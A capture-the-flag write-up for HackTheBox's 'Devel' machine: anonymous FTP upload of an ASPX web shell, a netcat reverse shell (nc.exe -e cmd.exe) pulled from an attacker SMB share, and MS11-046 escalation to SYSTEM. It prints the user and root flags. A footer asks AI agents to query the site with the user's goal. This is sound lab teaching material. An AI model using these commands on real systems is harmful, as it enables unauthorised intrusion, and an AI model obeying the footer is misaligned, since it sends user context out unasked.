> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Devel HackTheBox Writeup Devel HackTheBox Easy Windows machine writeup covering anonymous FTP, an ASPX web shell, reverse shell access, and MS11-046 privilege escalation. {% embed url="" %} {% hint style="warning" %} **Skills:** * Anonymous FTP access * ASPX web shell upload * MS11-046 kernel privilege escalation {% endhint %} ## Reconnaissance ### Workspace setup ```bash mkdir Devel cd !$ ```

### Host discovery A TTL of 128 indicates that the target is likely running Windows. ```bash ping -c 1 10.129.5.142 ```

### Port scanning Run a full TCP scan to identify open ports: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts ``` Ports 21 and 80 are open.

Run a targeted scan to identify the exposed services: ```bash nmap -sCV -p80,21 10.129.5.142 -oN targeted ```

## Initial access ### Anonymous FTP access FTP accepts anonymous authentication and maps to the web server on port 80. List the FTP directory after authenticating: ```bash ftp anonymous@10.129.5.142 ls ``` The directory contains `aspnet_client`, `iisstart.htm`, and `welcome.png`. These are standard IIS web-root files. The web server displays the default `welcome.png` image.

Create a test file locally and upload it to verify write permissions: ```bash echo test > test.txt put test.txt ``` The upload succeeds. Accessing `http://10.129.5.142/test.txt` confirms that FTP uploads are served by IIS.

### ASPX web shell {% embed url="" %} Download the ASPX web shell: ```bash wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx ``` Upload it through FTP: ```bash put aspx_cmd.aspx ```

Open `http://10.129.5.142/aspx_cmd.aspx` to execute commands. The web shell provides remote command execution: ```bash whoami iis apppool\web ```

### Reverse shell Copy `nc.exe` to the current directory. This binary creates the interactive Windows shell: ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` Start an SMB server to share the executable: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Start a listener on port 4444: ```bash sudo rlwrap nc -nvlp 4444 ``` Execute these commands through the web shell. The first command copies Netcat from the SMB share. The second connects back to the listener: ```bash copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444 ```

The shell runs as `iis apppool\web`. This account has limited privileges. ## Privilege escalation ### System information ```bash systeminfo ``` This reveals the Windows version and system details.

The target runs Windows 7 Enterprise. ### MS11-046 `systeminfo` identifies Windows 7 Enterprise, build `7600`. This unpatched version is a candidate for known local kernel exploits. MS11-046 is a local privilege-escalation vulnerability. It needs existing code execution on the host. It does not exploit SMB remotely. Use the MS11-046 kernel exploit: {% embed url="" %} Clone the exploit repository: ```bash git clone https://github.com/SecWiki/windows-kernel-exploits ``` Move to the exploit directory: ```bash cd windows-kernel-exploits/MS11-046 ``` Share the executable with the target over SMB: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Copy the executable from the Windows shell into a writable directory: ```bash copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe ```

Confirm the current user, then run the exploit: ```bash whoami iis apppool\web ``` ```bash .\ms11-046.exe ``` The exploit returns an `NT AUTHORITY\SYSTEM` shell: ```bash whoami nt authority\system ```

## Flags ```bash type c:\Users\babis\Desktop\user.txt 0efea4c5e140c594ce1ca88594b3d7dc type c:\Users\Administrator\Desktop\root.txt 3d360ef3c74b5936a51971a8f7383c11 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.